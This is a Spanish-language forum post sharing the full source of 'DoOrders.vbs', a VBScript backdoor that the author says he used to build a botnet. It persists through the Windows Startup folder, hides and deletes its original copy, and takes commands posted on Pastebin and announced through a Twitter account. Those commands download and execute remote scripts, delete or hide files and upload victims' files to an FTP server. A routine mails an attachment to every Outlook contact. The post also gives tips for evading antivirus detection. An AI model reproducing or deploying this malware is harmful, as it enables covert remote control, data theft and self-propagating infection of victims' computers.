[DoOrders.vbs] BackDoor controlado por twitter + pastebin.

HOLA!!!

Nota: Cambie el codigo por que el api de twitter cambio ahora solo tienen que twittear de la url de pastebin por ejemplo pastebin.com/hola1234 solo twitean /hola1234

Primero que nada les voy a explicar lo que es esto, es un sistema que recibe y ejecuta ordenes.

Las ordenes son las siguientes:

Código:

Para descargar un Archivo de texto (vbs o js ;D):
	down[%]Link[%]Carpeta[%]NombreArchivo

Para ejecutar un archivo:
	xcec[%]Carpeta[%]NombreArchivo

Para descargar y ejecutar un vbs o js:
	dwne[%]Link[%]Carpeta[%]NombreArchivo

Para copiar un archivo:
	copy[%]Carpeta1[%]NombreArchivo1[%]Carpeta2[%]NombreArchivo2

Para eliminar un archivo:
	supr[%]Carpeta[%]NombreArchivo

Para ocultar un archivo:
	hide[%]Carpeta[%]NombreArchivo

Para subir un archivo a un FTP:
	ftpu[%]FTPServer[%]FTPPort[%]FTPUser[%]FTPPass[%]SPath[%]SFile[%]OrdNum

Para mostrar un cuadro de texto:
	msgb[%]TextoAMostrar

Para hacer melt:
	melt

Para cerrar:
	clos

Para detener la orden actual:
	nord

NOTA IMPORTANTE
En carpeta pueden poner la carpeta o cualquiera de estas palabras claves:
"MYPATH" esta es el path del script
"FULLPATHONFILENAME" esta tomara como path lo que coloquen en el nombre del archivo.
"STARTUP" esta es la carpeta de inicio (ejecucion automatica al iniciar windows)

Ustedes diran, por que solo descarga texto? Rta, FUD.
Y replicaran, pero como hago para que descargue y ejecute mi exe que es binario y no ascii? Rta, cifra a base64 y descifra con un script

.
Continuando, este codigo lo use para armar una botnet en vbs, cual es la ventaja de esto? Rta, que si borran algun ejecutable malicioso no borran este archivo.

Se le pueden agregar mil funciones mas, pero recomiendo que si queres agregar usa el Descargar y Ejecutar VBS por si tu codigo es detectado.

Como se usa este sistema:

1ro: Crear una cuenta en twitter.
2do: Crear un pastebin con las ordenes a hacer.
3ro: Twittear SOLO la url de pastebin.
Nota: Cambie el codigo por que el api de twitter cambio ahora solo tienen que twittear de la url de pastebin por ejemplo pastebin.com/hola1234 solo twitean /hola1234
4to: Esperar y disfrutar XD.

El codigo, lo que esperaban:

Código

on error resume next
Dim Orders
Dim MyFullPath: MyFullPath = WScript.ScriptFullName
Dim MyPath: MyPath = Left(MyFullPath, InstrRev(MyFullPath, "\")-1)
Dim MyName: MyName = WScript.ScriptName
Dim user : user = "botiloveyou" 'Aca pone tu usuario de twitter
'FTP
   Dim FTPData
   Dim FTPCOMPLETE
   Dim W1
   Dim W2
'/FTP
 
Main
Sub Main()
   If Not (CreateObject("scripting.filesystemobject").FileExists("C:\SS.ORD") and MyFullPath = ConvertPath("STARTUP",MyName)) Then
       CreateObject("Scripting.FileSystemObject").CreateTextFile("C:\SS.ORD", True).WriteLine ("0")
       CopyToStartUP MyPath , MyName
       Hidefile "STARTUP", MyName
       ExecuteFile "STARTUP", MyName
       Melt
       WScript.Quit (1)
   End If
   Do
       DoOrders "[%]"
       For x = 0 To 200
           WScript.Sleep 10000
       Next
   Loop
End Sub
Sub DoOrders(OrdSeparator)
   GetOrders
   For x = 0 To UBound(Orders)
       Ord = Split(Orders(x), OrdSeparator)
       Select Case Ord(0)
           Case "nord"
               Exit For
           Case "down" 'Download VBS
               DownloadVBS Ord(1), Ord(2), Ord(3)
           Case "xcec" 'Execute
               ExecuteFile Ord(1), Ord(2)
           Case "dwne" 'Download and Execute VBS
               DownloadVBS Ord(1), Ord(2), Ord(3)
               ExecuteFile Ord(2), Ord(3)
           Case "copy" 'Copy
               FileCopy Ord(1), Ord(2), Ord(3), Ord(4)
           Case "supr" 'Delete
               DeleteFile Ord(1), Ord(2)
           Case "hide" 'Hide
               HideFile Ord(1), Ord(2)
           Case "melt" 'Melt
               Melt
           Case "ftpu" 'Upload to FTP
               Set W1 = WScript.CreateObject("MSWINSOCK.Winsock", "W1_")
               Set W2 = WScript.CreateObject("MSWINSOCK.Winsock", "W2_")
               Call FTPUpload(Ord(1), Ord(2), Ord(3),Ord(4), Ord(5), Ord(6), Ord(7))
               Set W1 = Nothing
               Set W2 = Nothing
           Case "msgb" 'MsgBox
               Msgbox Ord(1)
           Case "clos" 'Close
        WScript.Quit (1)
       End Select
   Next
End Sub
Function LastOrderDone()
   LastOrderDone = CreateObject("Scripting.FileSystemObject").OpenTextFile("C:\SS.ORD", 1).ReadAll
End Function
Sub ExecuteFile(SPath, SFile)
   CreateObject("WScript.Shell").run """" & ConvertPath(SPath, SFile) & """"
End Sub
Sub FileCopy(Spath, SFile, Spath2, SFile2)
   CreateObject("scripting.filesystemobject").CopyFile ConvertPath(Spath, SFile),ConvertPath(Spath2, SFile2),True
End Sub
Sub Melt()
   DeleteFile "FULLPATHONFILENAME", MyFullPath
End Sub
Sub DeleteFile(SPath, SFile)
   CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
End Sub
Sub DownloadVBS(Z, SPath, SFile)
   Set xhttp = CreateObject("Microsoft.XmlHttp")
   xhttp.open "GET", Z, False
   xhttp.send ""
   Z = xhttp.responseText
   If CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile)) Then CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
   CreateObject("Scripting.FileSystemObject").CreateTextFile(ConvertPath(SPath, SFile), True).WriteLine (Z)
   Set xhttp = Nothing
   Do While Not CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile))
   WScript.Sleep 500
   Loop
End Sub
Function ConvertPath(SPath, SFile)
   If UCase(SPath) = "MYPATH" Then ConvertPath = CreateObject("Shell.Application").NameSpace(26).Self.Path: Exit Function
   If UCase(SPath) = "FULLPATHONFILENAME" Then ConvertPath = SFile: Exit Function
   If UCase(SPath) = "STARTUP" Then SPath = CreateObject("WScript.Shell").SpecialFolders("StartUp")
   ConvertPath = SPath & "\" & SFile
End Function
Sub GetOrders()
   Orders = Split("nord nord")
   Dim Orden
   Dim xhttp
   Dim y
   Dim URLPASTEBIN
   Dim http : Set http = CreateObject("Microsoft.XmlHttp")
http.open "GET", "http://api.twitter.com/1/statuses/user_timeline/" & user & ".xml", False
http.send
y = split(http.responsetext,"<text>")
If ubound(y)>0 then
msgbox y(1)
URLPASTEBIN = "http://pastebin.com" & split(y(1),"</text>")(0) : set http = Nothing
msgbox urlpastebin
End if
      Set xhttp = CreateObject("Microsoft.XmlHttp")
      If CheckOrder(URLPASTEBIN) = 0 Then Exit Sub
      xhttp.open "GET", URLPASTEBIN, False
      xhttp.send ""
      Z = LCase(xhttp.responseText)
      Set xhttp = Nothing
      Z = Replace(Split(Split(Z, "<textarea")(1), ">")(1), "</textarea", vbNullString)
      Orders = Split(Z, vbNewLine)
End Sub
Sub HideFile(SPath, SFile)
   CreateObject("scripting.filesystemobject").GetFile(ConvertPath(SPath, SFile)).Attributes = -2
End Sub
Sub CopyToStartUP(SPath, SFile)
   CreateObject("scripting.filesystemobject").CopyFile ConvertPath(SPath, SFile), CreateObject("WScript.Shell").SpecialFolders("StartUp") & "\" & SFile, True
End Sub
Function FTPUpload(FTPServer, FTPPort, FTPUser, FTPPass, SPath, SFile, OrdNum)
   W1.RemoteHost = FTPServer
   W1.RemotePort = FTPPort
   W1.Connect
   If WaitResponse Then Exit Function
   If FTPCODE <> 220 Then Exit Function
       FTPData = ""
       W1.SendData "USER " & FTPUser & vbCrLf
       If WaitResponse Then Exit Function
   If FTPCODE <> 331 Then Exit Function
       FTPData = ""
       W1.SendData "PASS " & FTPPass & vbCrLf
       If WaitResponse Then Exit Function
   If FTPCODE <> 230 Then Exit Function
       FTPData = ""
       W1.SendData "PASV" & vbCrLf
       If WaitResponse Then Exit Function
   If FTPCODE <> 227 Then Exit Function
       Dim Aux
       Aux = Split(FTPData, ",")
       FTPDataPort = (Aux(UBound(Aux) - 1) * 256) + Left(Aux(UBound(Aux)), InStr(Aux(UBound(Aux)), ")") - 1)
       FTPDataIP = Trim(Replace(Right(Aux(0), 3), "(", vbNullString)) & "." & Aux(1) & "." & Aux(2) & "." & Aux(3)
       FTPData = ""
       W1.SendData "STOR " & Int(Rnd() * 1000000) & Int(Rnd() * 1000000) & "." & OrdNum & vbCrLf
       W2.RemotePort = FTPDataPort: W2.RemoteHost = FTPDataIP
       W2.Connect
       WaitResponse
   If Not (FTPCODE = "125" Or FTPCODE = "150") Then Exit Function
       FTPUpload = Upload(ConvertPath(SPath, SFile))
End Function
Function Upload(FilePath)
   Dim UPFile
   Dim FileLen
   Dim TotalSent
   Dim a
   Set a = WScript.CreateObject("ADODB.Stream")
   a.open
   a.Type = 1
   a.LoadFromFile (FilePath)
   UPFile = a.Read()
   FTPCOMPLETE = False
   W2.SendData UPFile
   EsperaSubida = 0
   Do
       WScript.Sleep 1000
       EsperaSubida = EsperaSubida + 1
       If SendIsComplete = 1 Then Upload = True: Exit Function
       If EsperaSubida > 300 Then Exit Function
   Loop
End Function
Sub W1_DataArrival(ByVal bytesTotal)
   W1.GetData FTPData, 8
End Sub
Function SendIsComplete()
   SendIsComplete = FTPCOMPLETE
End Function
Sub w2_SendComplete()
   FTPCOMPLETE = 1
End Sub
Function WaitResponse()
   Espera = 0
   Do
       WScript.Sleep 1000
       Espera = Espera + 1
       If Espera > 10 Then WaitResponse = 1: Exit Function
       If FTPCODE <> 0 Then Exit Function
   Loop
End Function
Function FTPCODE()
   If Len(FTPData) > 3 Then FTPCODE = Left(FTPData, 3) Else FTPCODE = 0
End Function
Function uncif(Tweet)
   Tweet = Replace(Tweet, Chr(32), vbNullString)
   Movex = Left(Tweet, 1)
   For x = 2 To Len(Tweet)
       uncif = uncif & Chr(Asc(Mid(Tweet, x, 1)) + Movex)
   Next
End Function
Function CheckOrder(expression)
Dim EscOrd
  if instr(expression, "/") then 
  Set EscOrd = CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\SS.ORD", 1)
  Aux = EscOrd.ReadAll
  Dim Aux2
  Set EscOrd = Nothing
  Aux2 = Split(Aux,VbNewLine)
  For x = 0 to ubound(aux2)
     If Replace(expression,"pastebin","google") = Aux2(x) then CheckOrder = 0: Exit Function
  Next
  set EscOrd = CreateObject("Scripting.FileSystemObject").CreateTextFile("c:\SS.ORD", True)
  EscOrd.Write (Aux & VbNewLine & Replace(expression,"pastebin","google"))
  EscOrd.Close
  Set EscOrd = Nothing
  CheckOrder = 1
  end if
End Function
Sub SpreadOutLook(Message,Subject,SPath, SFile)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
   If Contacts.Items.Item(x).Email1Address <> "" Then
       Set Email = CreateObject("Outlook.Application").CreateItem(0)
       Email.To = Contacts.Items.Item(x).Email1Address
       Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
       Email.ReadReceiptRequested = False
       Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
       Email.Attachments.Add ConvertPath(SPath, SFile)
       Email.Send
   End If
next
End Sub

Nota: Mi version obviamente no es esa, usa encriptacion y otro sistema de tweets pero esa que deje es funcional al 100%.

GRACIAS POR LEER!!!